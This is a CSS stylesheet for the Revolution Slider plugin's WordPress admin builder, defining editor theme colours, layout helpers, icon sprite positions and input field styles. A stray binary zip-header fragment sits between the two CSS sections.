.cm-s-hopscotch span.cm-bracket {color: #d5d3d5;}
.cm-s-hopscotch span.cm-tag {color: #dd464c;}
.cm-s-hopscotch span.cm-link {color: #c85e7c;}

.cm-s-hopscotch .RevMirror-matchingbracket { text-decoration: underline; color: white !important;}
.cm-s-hopscotch .RevMirror-activeline-background { background: #302020; }
PK�y3\�I���Z�Zassets/css/builder.cssnu�[���/************************************************
 * REVOLUTION 6.0.0 BUILDER CLASSES
 * @version: 1.0 (12.06.2017)
 * @author ThemePunch
************************************************/

/*Preparing CANVAS Animations */
.active_transiton_settings_CANVAS { }


.toplevel_page_revslider,
.toplevel_page_revslider #wpwrap,
.toplevel_page_revslider #wpwrap #wpcontent,
.toplevel_page_revslider #rs_overview  { background: #202224; }

/* overflox-x added because applying a blur filter to the #wpwrap causes an unexpected horizontal scrollbar */
#wpwrap.blurred { filter: blur(10px); overflow-x: hidden}

.toplevel_page_revslider #wpfooter { position: relative }

.toplevel_page_revslider .material-icons { line-height: inherit;}


.rs-builder-mode .ps__rail-y { position: absolute !important }
.rs-builder-mode.hideallwp #adminmenumain { display: none; }
.rs-builder-mode.hideallwp #wpfooter,
.rs-builder-mode.hideallwp #wpcontent { padding-left: 0px;margin-left: 0px; }


.rs-builder-mode.hideallwp .tp-plugin-version {  display:none; ; padding: 20px 20px 0px; }
.rs-builder-mode.hideallwp #wpbody-content { padding-bottom: 0px; } 
.rs-builder-mode.hideallwp #wpfooter      { display:none; }

.rs-builder-mode.hideallwp #wpadminbar { display: none }

.rs-builder-mode.hideallwp #wpwrap { background: #202224; }

.rs-builder-mode.hideallwp { overflow: hidden }

.rs-builder-mode.hideallwp.showwpmenus #adminmenumain,
.rs-builder-mode.hideallwp.showwpmenus #wpadminbar { display: block; z-index: 10000050}
.rs-builder-mode.hideallwp.showwpmenus #wpadminbar {     height: 40px;padding-top: 10px;}

.rs-builder-mode.hideallwp.showwpmenus #wpadminbar #wp-admin-bar-wp-logo>.ab-item { padding-left: 15px; }

.rs-builder-mode.hideallwp.showwpmenus #adminmenumain { position: relative; }

.rs-builder-mode.hideallwp.showwpmenus #adminmenumain #adminmenuback { box-shadow: 5px 0px 10px rgba(0,0,0,0.15) }

#builderView { z-index: 100000; transform: translateX(100%); }

#hidden_video_container { display: none; }

#wp_overlay { z-index: 99999; position: fixed;top: 0px;left: 0px; width: 100%;height: 100%; background: #323438; }

/* DISABLE CONTAINERS IF LAYER TYPE SET TO X */
._column_sel_ ._nfc_,
._row_sel_ ._nfr_,
._text_sel_ ._nft_,
._video_sel_ ._nfv_,
._shape_sel_ ._nfs_,
._image_sel_ ._nfi_,
._image_sel_ ._nsfi_,
._group_sel_ ._nfg_,
._audio_sel_ ._nfa_,
._button_sel_ ._nfb_,
._object_sel_ ._nfo_,
._svg_sel_ ._nfsvg_  { position: relative; opacity: 0.3;  pointer-events: none;}


/* HIDE CONTAINERS IF LAYER TYPE SET TO X */
#the_container._column_sel_ .form_collector .form_inner._nsfc_,
#the_container._row_sel_ .form_collector .form_inner._nsfr_,
#the_container._text_sel_ .form_collector .form_inner._nsft_,
#the_container._video_sel_ .form_collector .form_inner._nsfv_,
#the_container._shape_sel_ .form_collector .form_inner._nsfs_,
#the_container._image_sel_ .form_collector .form_inner._nsfi_,
#the_container._group_sel_ .form_collector .form_inner._nsfg_,
#the_container._audio_sel_ .form_collector .form_inner._nsfa_,
#the_container._button_sel_ .form_collector .form_inner._nsfb_,
#the_container._object_sel_ .form_collector .form_inner._nsfo_,
#the_container._layer_in_column_sel_._text_sel_ ._nsftbsic_,
#the_container._layer_in_column_sel_._shape_sel_ ._nsftbsic_,
#the_container._layer_in_column_sel_._button_sel_ ._nsftbsic_,
#the_container._layer_in_column_sel_._object_sel_ ._nsftbsic_,

._column_sel_ ._nsfc_,
._row_sel_ ._nsfr_,
._text_sel_ ._nsft_,
._video_sel_ ._nsfv_,
._shape_sel_ ._nsfs_,
._image_sel_ ._nsfi_,
._group_sel_ ._nsfg_,
._audio_sel_ ._nsfa_,
._button_sel_ ._nsfb_,
._object_sel_ ._nsfo_,
._svg_sel_ ._nsfsvg_  { display: none !important; }



#ezoomer_wrap {     
    position: relative;    
    width: auto;
    padding: 15px;
    font-size: 14px;       
    line-height: 35px;
    background: #2a2c2f;    
    white-space: nowrap;      
    box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5);    
  }
#ezoomer { width: 200px; height: 10px; background: #202224; border-radius: 4px; overflow: visible; position: relative; /*cursor:pointer;*/}
#ezoomer_pin { background: #006dd2; height: 10px !important; left: 0px; position: absolute; top: 0px; width: 100px; border-radius: 4px }
#zoomer_factor { font-size: 12px; color: #b7bbc0; font-weight: 600; width: 20px; line-height: 35px;display: inline-block; vertical-align: top}
#zoomer_factor {     position: absolute;
    bottom: -4px;
    left: 0px;
    width: 100%;
    text-align: center;  }


#zoomer_wrap_toolbar:hover #zoomer_factor { color: #fff; }
#ezoomer_pin:after { content: ""; pointer-events: none; background:#b8bbc0; width: 16px;height: 16px;border-radius: 8px; position: absolute;right: -8px;top: -3px;  }
#ezoomer_pin:hover:after { background: #fff; }
#ezoomer_pin .ui-resizable-handle.ui-resizable-e { cursor: pointer }
#ezoomer_pin .ui-resizable-handle.ui-resizable-e:hover:after{ background: #fff }
.ezzomer_marks { position: absolute;top: -15px; width: 1px; height: 5px; background:#40444a; }

#zoomer_wrap_toolbar .tool_dd_wrap { padding-top: 0px; background: transparent; box-shadow: none}

#zoomer_wrap_toolbar .selected_placeholder { cursor: pointer }

/*HIDE LETTER TRANSLATION PRESETS */
._column_sel_ #lal_in_lettran,
._row_sel_ #lal_in_lettran,
._video_sel_ #lal_in_lettran,
._audio_sel_ #lal_in_lettran,
._object_sel_ #lal_in_lettran,
._svg_sel_ #lal_in_lettran,
._image_sel_ #lal_in_lettran,
._shape_sel_ #lal_in_lettran { display: none !important; }


/* SHOW CONTAINERS ONLY IF LAYER TYPE SET TO X*/

#the_container .form_collector .form_inner ._shfc_,
#the_container .form_collector .form_inner._shfc_,
#the_container .form_collector .form_inner ._shfg_,
#the_container .form_collector .form_inner._shfg_,
#the_container .form_collector .form_inner ._shflic_,
#the_container .form_collector .form_inner._shflic_,
#the_container .form_collector .form_inner ._shft_,
#the_container .form_collector .form_inner._shft_,
#the_container .form_collector .form_inner ._shoft_,
#the_container .form_collector .form_inner._shoft_,
#the_container .form_collector .form_inner ._shfb_,
#the_container .form_collector .form_inner._shfb_,
#the_container .form_collector .form_inner ._shofb_,
#the_container .form_collector .form_inner._shofb_,
#the_container .form_collector .form_inner ._shfi_,
#the_container .form_collector .form_inner._shfi_,
#the_container .form_collector .form_inner ._shfv_,
#the_container .form_collector .form_inner._shfv_,
#the_container .form_collector .form_inner ._shfr_,
#the_container .form_collector .form_inner._shfr_,
#the_container .form_collector .form_inner ._shfa_,
#the_container .form_collector .form_inner._shfa_,
#the_container .form_collector .form_inner ._shfs_,
#the_container .form_collector .form_inner._shfs_,

#the_container._layer_in_column_sel_ .form_collector .form_inner._nflic_,
#the_container._layer_in_column_sel_ .form_collector .form_inner ._nflic_,

#the_container .form_collector .form_inner ._shfsvg_,
#the_container .form_collector .form_inner._shfsvg_ { display: none !important; }

#the_container._svg_sel_ .form_collector .form_inner ._shfsvg_,
#the_container._svg_sel_ .form_collector .form_inner._shfsvg_,

#the_container._column_sel_ .form_collector .form_inner ._shfc_,
#the_container._column_sel_ .form_collector .form_inner._shfc_,

#the_container._group_sel_ .form_collector .form_inner ._shfg_,
#the_container._group_sel_ .form_collector .form_inner._shfg_,

#the_container._shape_sel_ .form_collector .form_inner ._shfs_,
#the_container._shape_sel_ .form_collector .form_inner._shfs_,

#the_container._row_sel_ .form_collector .form_inner ._shfr_,
#the_container._row_sel_ .form_collector .form_inner._shfr_,

#the_container._image_sel_ .form_collector .form_inner ._shfi_,
#the_container._image_sel_ .form_collector .form_inner._shfi_,

#the_container._video_sel_ .form_collector .form_inner ._shfv_,
#the_container._video_sel_ .form_collector .form_inner._shfv_,

#the_container._audio_sel_ .form_collector .form_inner ._shfa_,
#the_container._audio_sel_ .form_collector .form_inner._shfa_,

#the_container._layer_in_column_sel_ .form_collector .form_inner._shflic_,
#the_container._layer_in_column_sel_ .form_collector .form_inner ._shflic_,

#the_container._text_sel_ .form_collector .form_inner._shoft_,
#the_container._button_sel_ .form_collector .form_inner._shofb_,

#the_container._text_sel_ .form_collector .form_inner ._shoft_,
#the_container._button_sel_ .form_collector .form_inner ._shofb_,

#the_container._text_sel_ .form_collector .form_inner._shft_,
#the_container._button_sel_ .form_collector .form_inner._shft_ { display: block !important; }

#the_container.multiple_layers_selected._button_sel_._row_sel_ .form_collector .form_inner._homs_,
#the_container.multiple_layers_selected._button_sel_._column_sel_ .form_collector .form_inner._homs_,
#the_container.multiple_layers_selected._text_sel_._row_sel_ .form_collector .form_inner._homs_,
#the_container.multiple_layers_selected._text_sel_._column_sel_ .form_collector .form_inner._homs_ { display: none !important;}

i.material-icons { text-align: center; }
#responsive_infos_toolbar .material-icons,
#rb_tlw .material-icons,
#rs_overview .material-icons,
#filedrop .material-icons,
.material-icons {
  font-family: 'Material Icons';
  font-weight: normal;
  font-style: normal;  
  display: inline-block;  
  text-transform: none;
  letter-spacing: normal;
  word-wrap: normal;
  white-space: nowrap;
  direction: ltr;
  vertical-align: top;
  line-height: inherit;  
  -webkit-font-smoothing: antialiased;  
  text-rendering: optimizeLegibility;
  -moz-osx-font-smoothing: grayscale;
  font-feature-settings: 'liga'; 

}

#the_container.multiple_layers_selected #form_layercontent_convert { display: none !important; }

#rs_overview {  padding:96px 55px 66px;}

#layer_video_poster { display: none; }

#slide_bg_image_path {     
    /* visibility: hidden; */
    height: 29px !important;
    width: 10px !important;
    /* opacity: 0; */
    padding: 0;
    margin: 0;
    font-size: 0px;
    float: left;
    line-height: 29px;
    background: transparent;
    border: none;
    outline: none;
    box-shadow: none;}



#rb_tlw .material-icons.mirrorhorizontal,
.material-icons.mirrorhorizontal { transform:scaleX(-1);}


/* UNSELECTABLES */
._lc_,
.layerlist_element *,
.basic_action_button,
#main_hor_toolbar, #main_hor_toolbar *,
.tponoffwrap *, .tponoffwrap,
#timeline_settings *,
label_a,label_info,
.material-icons,
.form_menu_level_2_li,
.form_menu_level_1_li,
.radiooption,
.input_left,
.input_middle,
.fake_input,
.rsle_tool,
#form_slideradvanced_perf *  { -webkit-touch-callout:none;  -webkit-user-select:none; -khtml-user-select:none;  -moz-user-select:none;  -ms-user-select:none; user-select:none; }

._lc_ input[type="text"],
.layerlist_element * input[type="text"],
.basic_action_button input[type="text"],
#main_hor_toolbar, #main_hor_toolbar * input[type="text"],
.tponoffwrap *, .tponoffwrap input[type="text"],
#timeline_settings * input[type="text"],
label_a,label_info input[type="text"],
.material-icons input[type="text"],
.form_menu_level_2_li input[type="text"],
.form_menu_level_1_li input[type="text"],
.radiooption input[type="text"],
.input_left input[type="text"],
.input_middle input[type="text"],
.fake_input input[type="text"],
.rsle_tool input[type="text"],
#form_slideradvanced_perf * input[type="text"] { -webkit-touch-callout:auto;  -webkit-user-select:auto; -khtml-user-select:auto;  -moz-user-select:auto;  -ms-user-select:auto; user-select:auto; }

.material-icons.vmi { transform: scaleX(-1); }


/********************************* 
    DEFAULT AND BASIC SETTINGS 
**********************************/


.layer_grid.layersInDragorResize:after {content:" ";position: absolute;top:0px;left:0px;width:100%;height:100%;background:transparent;z-index: 450;}

#rs_overview,
#rb_tlw,
#timeline { font-family: "Roboto" }

#quick_style *,
.rb_modal *,
.eg-toolbox,
#rs_overview *,
#rs_overview_menu,
#rb_tlw *,
#timeline * { -webkit-font-smoothing: antialiased;-moz-osx-font-smoothing: grayscale;-webkit-touch-callout: none;text-rendering: optimizeLegibility;}

.notselectable  {-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;}
linebreak,
.linebreak {display: block;height: 0px;width: 100%;clear:both;}
.rightaligned   { text-align: right}
.vertical_medium_wrap   {     top: 50%;transform: translateY(-50%);position: absolute;}

row             { line-height: 30px;display: table; margin-bottom:10px; width:100%;box-sizing: border-box; position: relative}
row.direktrow,
row.directrow { margin-bottom: 0px; }

onethird { display: table-cell; vertical-align: top; width: 33.33%; padding-right: 0px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px;}
onefourth { display: table-cell; vertical-align: top; width: 25%; padding-right: 20px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px}
onefifth { display: table-cell; vertical-align: top; width: 20%; padding-right: 9px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px}
onehalf { display: table-cell; vertical-align: top; width: 50%; padding-right: 30px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px}

labelhalf   { display: table-cell; vertical-align: top; width: 100px; padding-right: 15px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px; text-align: right}
contenthalf { display: table-cell; vertical-align: top; width: 180px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px; text-align: left}


onelabel { display: table-cell; vertical-align: top; width: 97px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px}
oneshort { display: table-cell; vertical-align: top; width: 115px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px;}
onelong { display: table-cell; vertical-align: top; width: 175px; min-width: 175px; box-sizing: border-box;line-height: inherit; margin-bottom:-10px;padding-right:10px;}
onefull { display: table-cell; vertical-align: top; width: 200px; line-height: inherit; box-sizing: border-box;  }

oneshort.dyn_inp_wrap { position: relative; overflow: visible; max-width: 115px !important; white-space: nowrap; }
onelong.dyn_inp_wrap { position: relative; overflow: visible; max-width: 175px !important; white-space: nowrap;}


#rb_tlw .direktrow.active_onelong onelong.dyn_inp_wrap input[type=text] { width: 128px !important;}
#rb_tlw .direktrow.active_oneshort oneshort.dyn_inp_wrap input[type=text] { width: 133px !important;}

#rb_tlw .direktrow onelong.dyn_inp_wrap input[type=text],
#rb_tlw .direktrow oneshort.dyn_inp_wrap input[type=text] { transition: width 300ms; }

#rb_tlw .direktrow onelong.dyn_inp_wrap label_icon,
#rb_tlw .direktrow oneshort.dyn_inp_wrap label_icon,
#rb_tlw .direktrow onelong.dyn_inp_wrap .label_icon,
#rb_tlw .direktrow oneshort.dyn_inp_wrap .label_icon { transition: margin 300ms; }


#rb_tlw .direktrow.active_oneshort oneshort.dyn_inp_wrap label_icon,
#rb_tlw .direktrow.active_oneshort oneshort.dyn_inp_wrap .label_icon { margin-left:-65px }

#rb_tlw .direktrow.active_onelong onelong.dyn_inp_wrap label_icon,
#rb_tlw .direktrow.active_oneshort onelong.dyn_inp_wrap label_icon,
#rb_tlw .direktrow.active_onelong onelong.dyn_inp_wrap .label_icon,
#rb_tlw .direktrow.active_oneshort onelong.dyn_inp_wrap .label_icon { margin-left: 0px; }

#rb_tlw .direktrow.active_onelong onelong.dyn_inp_wrap,
#rb_tlw .direktrow.active_oneshort oneshort.dyn_inp_wrap { z-index: 10 }

#the_container onehalf { padding-right: 10px;min-width: 50%; }

onehalf:last-child,
onefourth:last-child,
onefifth:last-child,
onethird:last-child { padding-right: 0px; }

#the_container .showhide_hidden
#the_container .showhide_hidden.form_inner,
#the_container .form_collector .showhide_hidden.form_inner { display: none !important; }


/*******************
  EDITOR ICON SET 
*******************/

.near_me_addon { position: absolute; top:5px; left: 30px; color: inherit; font-size: 12px !important; }
.toolkit_selector .near_me_addon { left: 28px; }

.label_mi.material-icons { width:30px; height:30px; text-align:center; color: #b7bbc0; font-size: 20px; margin-left: 15px; vertical-align: top; line-height:30px; margin-right: 5px;}


label_icon,
label_bigicon {background: url(../images/UI-ICONS.png);  width: 30px;height: 30px; vertical-align: top; display: inline-block; color: transparent; background-size: 390px 420px; margin-right: 5px; }
label_bigicon {background: url(../images/UI-ICONS-BIG.png); width: 45px; height: 45px; background-size: 495px 225px; }
label_icon.singlerow,
onelong .label_mi.material-icons:first-child,
onelong label_icon:first-child { margin-left: 60px; }

oneshort .label_mi.material-icons { margin-left: 0px; }

longoption label_icon:first-child { margin-left: 10px; margin-top:5px; margin-right:0px; width:25px;}

longoption.centered_longoption { border: none;text-align: center; }
longoption.centered_longoption label_a { width: auto; min-width: 0px; font-size: 11px !important; }
longoption.centered_longoption i.material-icons { color: #787C80 !important; }
longoption.centered_longoption .tponoffwrap { float: none; }

#rb_tlw i.label_icon.material-icons { margin-left: 60px; color: #fff; line-height: 30px !important; margin-right: 5px; font-size: 20px; text-align: center; width:30px; color:#b7bbc0;}

#rb_tlw i.label_icon.material-icons.inshort { margin-left: 0px; margin-right: 5px; }


label_icon.ui_border_top      { background-position: -210px -240px; }
label_icon.ui_border_right     { background-position: -240px -240px; }
label_icon.ui_border_bottom   { background-position: -270px -240px; }
label_icon.ui_border_left     { background-position: -300px -240px; }

label_icon.ui_v_fade     { background-position: -60px -300px; }
label_icon.ui_v_scale     { background-position: -30px -300px; }
label_icon.ui_v_rotation     { background-position: -90px -300px; }

label_icon.ui_autoresponsive      { background-position: -120px -330px; }
label_icon.ui_offsetresponsive    { background-position: -150px -330px; }
label_icon.ui_childrenresponsive  { background-position: -180px -330px; }

label_icon.ui_max_rotation     { background-position: -180px -270px; }
label_icon.ui_max_fadedown     { background-position: -240px -270px; }
label_icon.ui_max_scaledown     { background-position: -300px -270px; }

label_icon.ui_bradius          { background-position: -150px -240px; }
label_icon.ui_bradius_topleft  { background-position: -30px -240px; }
label_icon.ui_bradius_topright     { background-position: -60px -240px; }
label_icon.ui_bradius_bottomleft   { background-position: -90px -240px; }
label_icon.ui_bradius_bottomright     { background-position: -120px -240px; }

label_icon.ui_fit       { background-position: -30px -180px; }
label_icon.ui_repeat   { background-position: -60px -180px; }

label_icon.ui_stopafterloop { background-position: -120px -180px; }
label_icon.ui_stopatslide   { background-position: -150px -180px; }
label_icon.ui_radius { background-position: -210px -390px; }

label_icon.ui_outofviewport { background-position: -180px -180px; }
label_icon.ui_viewportpercent   { background-position: -210px -180px; }
label_icon.ui_presetheight   { background-position: -210px -60px; }

label_icon.ui_x_start   { background-position: -30px -270px; }
label_icon.ui_x_end     { background-position: -60px -270px; }
label_icon.ui_y_start   { background-position: -90px -270px; }
label_icon.ui_y_end     { background-position: -120px -270px; }
label_icon.ui_rotate_start   { background-position: -150px -270px; }
label_icon.ui_rotate_end     { background-position: -180px -270px; }
label_icon.ui_blur_start   { background-position: -210px -270px; }
label_icon.ui_blur_end     { background-position: -240px -270px; }
label_icon.ui_scale_start   { background-position: -270px -270px; }
label_icon.ui_scale_end     { background-position: -300px -270px; }

label_icon.ui_x         { background-position: -30px -60px; }
label_icon.ui_bg         { background-position: -150px -30px; }
label_icon.ui_y         { background-position: -60px -60px; }
label_icon.ui_z         { background-position: -150px -390px; }

/*SPLIT TEXT ICONS */
label_icon.ui_textsplit          { background-position: -60px -390px }
label_icon.ui_splitdirection     { background-position: -90px -390px }
label_icon.ui_splitdelay     { background-position: -120px -390px }

/*SVG ICONS */
label_icon.ui_strokewidth         { background-position: -210px -330px; }
label_icon.ui_strokedasharray     { background-position: -240px -330px; }
label_icon.ui_strokedashoffset    { background-position: -180px -30px; }

/*FILTER ICONS */
label_icon.ui_blur          { background-position: -330px -330px; }
label_icon.ui_grayscale     { background-position: -360px -330px; }
label_icon.ui_brightness    { background-position: -270px -330px; }
label_icon.ui_blendmode     { background-position: -300px -330px; }
label_icon.ui_blendmodeshow { background-position: -330px -30px; }

/* TRANSFORM ICONS */
label_icon.ui_opacity     { background-position: -150px -150px; }
label_icon.ui_scalex      { background-position: -180px -150px; }
label_icon.ui_scaley      { background-position: -210px -150px; }
label_icon.ui_skewx       { background-position: -240px -150px; }
label_icon.ui_skewy       { background-position: -270px -150px; }
label_icon.ui_perspective { background-position: -300px -150px; }
label_icon.ui_transformz  { background-position: -330px -150px; }
label_icon.ui_rotatex     { background-position: -240px -180px; }
label_icon.ui_rotatey     { background-position: -270px -180px; }
label_icon.ui_rotatez     { background-position: -300px -180px; }
label_icon.ui_origox      { background-position: -330px -180px; }
label_icon.ui_origoy      { background-position: -360px -180px; }
label_icon.ui_origoz      { background-position: -180px -390px; }

label_icon.ui_loop      { background-position: -240px -390px; }



/* STYLE ICONS */
label_icon.ui_fontsize   { background-position: -30px -30px; }
label_icon.ui_lineheight   { background-position: -60px -30px; }
label_icon.ui_fontweight   { background-position: -90px -30px; }
label_icon.ui_letterspacing   { background-position: -120px -30px; }
label_icon.ui_fontstyle        { background-position: -210px -30px; }
label_icon.ui_textdecoration   { background-position: -240px -30px; }
label_icon.ui_uppercase   { background-position: -270px -30px; }
label_icon.ui_selectable   { background-position: -300px -30px; }

/*HIDE ON .... */
label_icon.ui_hide_on_mobile  { background-position: -30px -330px }
label_icon.ui_hide_in_nav     { background-position: -90px -330px }
label_icon.ui_hide_after_loop { background-position: -60px -330px }

/*PUBLISHSED */
label_icon.ui_published         { background-position: -330px -300px }
label_icon.ui_published_from    { background-position: -270px -300px }
label_icon.ui_published_until   { background-position: -300px -300px }

/*TRANSITION */
label_icon.ui_duration        { background-position: -120px -300px }
label_icon.ui_easing          { background-position: -30px -390px }
label_icon.ui_easing_in       { background-position: -150px -300px }
label_icon.ui_easing_out      { background-position: -180px -300px }

label_icon.ui_slotamount      { background-position: -210px -300px }
label_icon.ui_slotrotation    { background-position: -240px -300px }

/*VIDEO ICON*/
label_icon.ui_speed         { background-position: -60px -360px }
label_icon.ui_volume        { background-position: -30px -360px }
label_icon.ui_startat       { background-position: -90px -360px }
label_icon.ui_endat       { background-position: -120px -360px }

/*ANIMATION ICONS*/
label_icon.ui_yoyo          { background-position: -180px -360px }
label_icon.ui_startangle    { background-position: -210px -360px }
label_icon.ui_curviness     { background-position: -240px -360px }
label_icon.ui_xradius     { background-position: -270px -360px }
label_icon.ui_yradius     { background-position: -300px -360px }
label_icon.ui_zradius     { background-position: -330px -360px }


/* HORIZONTAL ALIGN*/
label_icon.ui_leftalign               { background-position: -35px -90px; margin-right:0px; width:25px; cursor: pointer}
label_icon.ui_leftalign:hover,
label_icon.ui_leftalign.selected      { background-position: -35px -120px;}

label_icon.ui_centeralign             { background-position: -65px -90px; margin-right:0px;width:25px; cursor: pointer}
label_icon.ui_centeralign:hover,
label_icon.ui_centeralign.selected    { background-position: -65px -120px;}

label_icon.ui_rightalign              { background-position: -95px -90px; margin-right:0px;width:25px;cursor: pointer}
label_icon.ui_rightalign:hover,
label_icon.ui_rightalign.selected     { background-position: -95px -120px;}

/*VERTICAL ALIGN*/
label_icon.ui_topalign                { background-position: -125px -90px; margin-right:0px;width:25px;cursor: pointer}
label_icon.ui_topalign:hover,
label_icon.ui_topalign.selected       { background-position: -125px -120px;}

label_icon.ui_middlealign             { background-position: -155px -90px; margin-right:0px;width:25px;cursor: pointer}
label_icon.ui_middlealign:hover,
label_icon.ui_middlealign.selected    { background-position: -155px -120px;}

label_icon.ui_bottomalign             { background-position: -185px -90px; margin-right:0px;width:25px;cursor: pointer}
label_icon.ui_bottomalign:hover,
label_icon.ui_bottomalign.selected   { background-position: -185px -120px;}




/* LAYER GROUP FILTERS */
label_icon.ui_free_layers { background-position: -210px -90px; }
label_icon.ui_magnet { background-position: -270px -390px; }
label_icon.ui_top_row_layers { background-position: -240px -90px }
label_icon.ui_middle_row_layers { background-position: -270px -90px }
label_icon.ui_bottom_row_layers { background-position: -300px -90px }

label_icon.ui_free_layers.selected,
label_icon.ui_free_layers:hover { background-position: -210px -120px }

.tl_magnifying_wrap:hover label_icon.ui_magnet,
.tl_magnifying_wrap.selected label_icon.ui_magnet { background-position: -300px -390px; }

label_icon.ui_top_row_layers.selected,
label_icon.ui_top_row_layers:hover { background-position: -240px -120px }
label_icon.ui_middle_row_layers.selected,
label_icon.ui_middle_row_layers:hover { background-position: -270px -120px }
label_icon.ui_bottom_row_layers.selected,
label_icon.ui_bottom_row_layers:hover { background-position: -300px -120px }


label_icon.rowtop { background-position: -237px -118px !important; }
label_icon.rowmiddle { background-position: -267px -118px !important; }
label_icon.rowbottom { background-position: -297px -118px !important; }

.triggerselect.selected label_icon.rowtop,
.triggerselect.selected label_icon.rowbottom,
.triggerselect.selected label_icon.rowmiddle { filter: brightness(100); }

/* BIG ICONSET */
label_bigicon.ui_onecol { background-position: -45px -45px; }
label_bigicon.ui_twocol { background-position: -90px -45px; }
label_bigicon.ui_threecol { background-position: -135px -45px; }
label_bigicon.ui_fourcol { background-position: -180px -45px; }
label_bigicon.ui_sixcol { background-position: -225px -45px; }
label_bigicon.ui_onefourth_half_onefourth_col { background-position: -270px -45px; }
label_bigicon.ui_onesixth_foursixth_onesixts_col { background-position: -315px -45px; }
label_bigicon.ui_twothird_onethird_col { background-position: -360px -45px; }
label_bigicon.ui_threefourth_onefourth_col { background-position: -405px -45px; }
label_bigicon.ui_fivesixth_onesixth_col { background-position: -450px -45px; }

.colselector.selected label_bigicon.ui_onecol,
.colselector:hover label_bigicon.ui_onecol { background-position: -45px -90px; }
.colselector.selected label_bigicon.ui_twocol,
.colselector:hover label_bigicon.ui_twocol { background-position: -90px -90px; }
.colselector.selected label_bigicon.ui_threecol,
.colselector:hover label_bigicon.ui_threecol { background-position: -135px -90px; }
.colselector.selected label_bigicon.ui_fourcol,
.colselector:hover label_bigicon.ui_fourcol { background-position: -180px -90px; }
.colselector.selected label_bigicon.ui_sixcol,
.colselector:hover label_bigicon.ui_sixcol { background-position: -225px -90px; }

.colselector.selected label_bigicon.ui_onefourth_half_onefourth_col,
.colselector:hover label_bigicon.ui_onefourth_half_onefourth_col { background-position: -270px -90px; }
.colselector.selected label_bigicon.ui_onesixth_foursixth_onesixts_col,
.colselector:hover label_bigicon.ui_onesixth_foursixth_onesixts_col { background-position: -315px -90px; }
.colselector.selected label_bigicon.ui_twothird_onethird_col,
.colselector:hover label_bigicon.ui_twothird_onethird_col { background-position: -360px -90px; }
.colselector.selected label_bigicon.ui_threefourth_onefourth_col,
.colselector:hover label_bigicon.ui_threefourth_onefourth_col { background-position: -405px -90px; }
.colselector.selected label_bigicon.ui_fivesixth_onesixth_col,
.colselector:hover label_bigicon.ui_fivesixth_onesixth_col { background-position: -450px -90px; }



#form_slidegeneral_params row onehalf:first-child {  width:75%;}
#form_slidegeneral_params row onehalf:nth-child(2) {  width:25%;}



.lp10 { padding-left: 10px; }
.mr10 { margin-right: 10px; }

i.emptyspace20 { display: inline-block; width: 20px; }

.iblocktop { vertical-align: top; display: inline-block }
.dcenter { display: block; text-align: center; margin: 0px auto; list-style: none; padding:0px;}

.disablecontainer { position: relative; opacity: 0.3;  pointer-events: none;}
.main_mode_selector.disablecontainer { opacity: 1 }
.main_mode_selector.disablecontainer i { opacity: 0.3 }
.unavailablecontainer { display: none !important; height: 0px;width: 0px;visibility: hidden;position: absolute;z-index: -1; }

.rfloated { float: right; }

.lp30bb { padding-left: 30px !important; box-sizing: border-box !important }
.lp40bb { padding-left: 40px !important; box-sizing: border-box !important }


/**************************
   BG ALIGN SELECTOR 
***************************/
.bg_alignselector_wrap { display: inline-block; position: relative; vertical-align: top;margin-bottom:10px;}
.bg_align_row { width: 55px;height: 15px;display: block;margin-bottom: 5px;position: relative; }
.bg_alignselector { width: 14px; height: 14px;  background: #2a2c2f; border-radius: 3px; display:block; cursor:pointer;}
.bg_alignselector:first-child { position: absolute; top: 0px;left: 0px; }
.bg_alignselector:nth-child(2) { position: absolute; top: 0px;left: 20px; }
.bg_alignselector:nth-child(3) { position: absolute; top: 0px;left: 40px; }
.bg_alignselector.selected { background: #006dd2; }
.bg_align_xy { position: absolute; left: 68px; top:-10px; width:85px;}
.bg_align_xy .bg_alignselector { position: relative; top: auto; left: auto; display: inline-block ; margin-top:10px;margin-right:5px;}

/**************************
    INPUT FIELDS 
***************************/

.input_with_buttonextenstion { width: 185px; position: relative;display: inline-block }
.buttonextenstion { position: absolute; right: 0px; top: 0px; }

#rb_tlw input[type=text],
#rb_tlw input[type=number],
#rb_tlw textarea { box-shadow:none;outline:none;border: none;border-radius: 3px; width:185px;padding:0px; margin:0px 0px 10px; }

#rb_tlw longoption input[type=text],
#rb_tlw longoption input[type=number] { margin: 5px 0px; }

#rb_tlw longoption input[type=text],
#rb_tlw longoption input[type=number],
#rb_tlw longoption textarea  { width: 60px; }

#rb_tlw .input_with_buttonextenstion input[type=text],
#rb_tlw .input_with_buttonextenstion input[type=number] { width: 154px; margin-right: 1px }

#rb_tlw .input_with_buttonextenstion.extrashort input[type=text] { width: 122px; margin-right: 1px }

#rb_tlw #form_slidergeneral_advanced_api .input_with_buttonextenstion input[type=text], 
#rb_tlw #form_slidergeneral_advanced_api .input_with_buttonextenstion input[type=number]{ width: 150px !important; }

#rb_tlw input[type=text].tqinput,
#rb_tlw input[type=number].tqinput { width: 130px; margin-right: 5px }

#rb_tlw input[type=text].oqinput,
#rb_tlw input[type=number].oqinput { width: 50px;}

#rb_tlw oneshort input[type=text],
#rb_tlw oneshort input[type=number],
#rb_tlw oneshort textarea,
#rb_tlw input[type=text].shortfield,
#rb_tlw input[type=number].shortfield,
#rb_tlw onelong input[type=text],
#rb_tlw onelong input[type=number],
#rb_tlw onelong textarea {width:68px !important; min-width: 68px !important}


#rb_tlw onethird input[type=text],
#rb_tlw onethird input[type=number],
#rb_tlw onethird textarea { width: 50px !important; }

#rb_tlw input::-webkit-outer-spin-button,
#rb_tlw input::-webkit-inner-spin-button {-webkit-appearance: none;margin: 0; }

.fake_input,
#rb_tlw input[type=text],
#rb_tlw input[type=number] {line-height: 30px;height:30px; box-sizing:border-box; font-size: 13px;color: #b7bbc0;font-weight: 500;vertical-align: top; background: #2a2c2f; padding:0px 10px;}


